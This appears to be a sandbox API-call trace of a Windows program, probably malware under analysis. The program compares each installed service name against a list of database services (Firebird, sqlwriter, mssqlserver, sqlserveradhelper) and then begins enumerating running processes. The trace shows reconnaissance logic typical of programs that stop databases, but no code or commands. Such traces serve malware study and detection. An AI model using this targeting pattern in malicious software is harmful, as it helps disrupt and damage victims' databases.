	[0075.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0075.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0075.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0075.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0075.394] lstrlenW (lpString="AppXSvc") returned 7
	[0075.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0075.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0075.394] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0075.394] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0075.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0075.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0075.394] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0075.394] lstrlenW (lpString="Audiosrv") returned 8
	[0075.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0075.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0075.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0075.394] lstrlenW (lpString="BFE") returned 3
	[0075.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0075.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0075.394] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0075.394] lstrlenW (lpString="BITS") returned 4
	[0075.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0075.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0075.394] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0075.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0075.394] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0075.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0075.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0075.395] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0075.395] lstrlenW (lpString="CDPSvc") returned 6
	[0075.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0075.395] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0075.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0075.395] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0075.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0075.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0075.395] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0075.395] lstrlenW (lpString="CryptSvc") returned 8
	[0075.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0075.395] lstrlenW (lpString="DcomLaunch") returned 10
	[0075.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0075.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0075.395] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0075.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0075.395] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0075.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0075.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0075.396] lstrlenW (lpString="Dhcp") returned 4
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0075.396] lstrlenW (lpString="Dnscache") returned 8
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0075.396] lstrlenW (lpString="DoSvc") returned 5
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0075.396] lstrlenW (lpString="DPS") returned 3
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0075.396] lstrlenW (lpString="DusmSvc") returned 7
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0075.396] lstrlenW (lpString="EventLog") returned 8
	[0075.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0075.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0075.396] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0075.397] lstrlenW (lpString="EventSystem") returned 11
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0075.397] lstrlenW (lpString="FontCache") returned 9
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0075.397] lstrlenW (lpString="gpsvc") returned 5
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0075.397] lstrlenW (lpString="iphlpsvc") returned 8
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0075.397] lstrlenW (lpString="KeyIso") returned 6
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0075.397] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0075.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0075.397] lstrlenW (lpString="LanmanServer") returned 12
	[0075.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0075.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0075.397] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0075.398] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0075.398] lstrlenW (lpString="lfsvc") returned 5
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0075.398] lstrlenW (lpString="lmhosts") returned 7
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0075.398] lstrlenW (lpString="LSM") returned 3
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0075.398] lstrlenW (lpString="MapsBroker") returned 10
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0075.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0075.398] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0075.398] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0075.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0075.398] lstrlenW (lpString="MpsSvc") returned 6
	[0075.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0075.399] lstrlenW (lpString="NcbService") returned 10
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0075.399] lstrlenW (lpString="netprofm") returned 8
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0075.399] lstrlenW (lpString="NlaSvc") returned 6
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0075.399] lstrlenW (lpString="nsi") returned 3
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0075.399] lstrlenW (lpString="PcaSvc") returned 6
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0075.399] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0075.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0075.399] lstrlenW (lpString="PlugPlay") returned 8
	[0075.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0075.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0075.400] lstrlenW (lpString="Power") returned 5
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0075.400] lstrlenW (lpString="ProfSvc") returned 7
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0075.400] lstrlenW (lpString="RpcEptMapper") returned 12
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0075.400] lstrlenW (lpString="RpcSs") returned 5
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0075.400] lstrlenW (lpString="SamSs") returned 5
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0075.400] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0075.400] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0075.400] lstrlenW (lpString="Schedule") returned 8
	[0075.400] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0075.400] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0075.401] lstrlenW (lpString="SecurityHealthService") returned 21
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0075.401] lstrlenW (lpString="SENS") returned 4
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0075.401] lstrlenW (lpString="ShellHWDetection") returned 16
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0075.401] lstrlenW (lpString="Spooler") returned 7
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0075.401] lstrlenW (lpString="SSDPSRV") returned 7
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0075.401] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0075.401] lstrlenW (lpString="StateRepository") returned 15
	[0075.401] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0075.401] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0075.401] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0075.402] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0075.402] lstrlenW (lpString="SysMain") returned 7
	[0075.402] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0075.402] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0075.402] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0075.402] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0075.402] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x783bf0 | out: hHeap=0x720000) returned 1
	[0075.402] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x310
	[0075.408] Process32FirstW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0075.409] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0076.233] lstrlenW (lpString="System") returned 6
	[0076.233] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0076.234] lstrlenW (lpString="smss.exe") returned 8
	[0076.234] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0076.235] lstrlenW (lpString="csrss.exe") returned 9
	[0076.235] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0076.237] lstrlenW (lpString="wininit.exe") returned 11
	[0076.237] Process32NextW (in: hSnapshot=0x310, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0076.238] lstrlenW (lpString="csrss.exe") returned 9
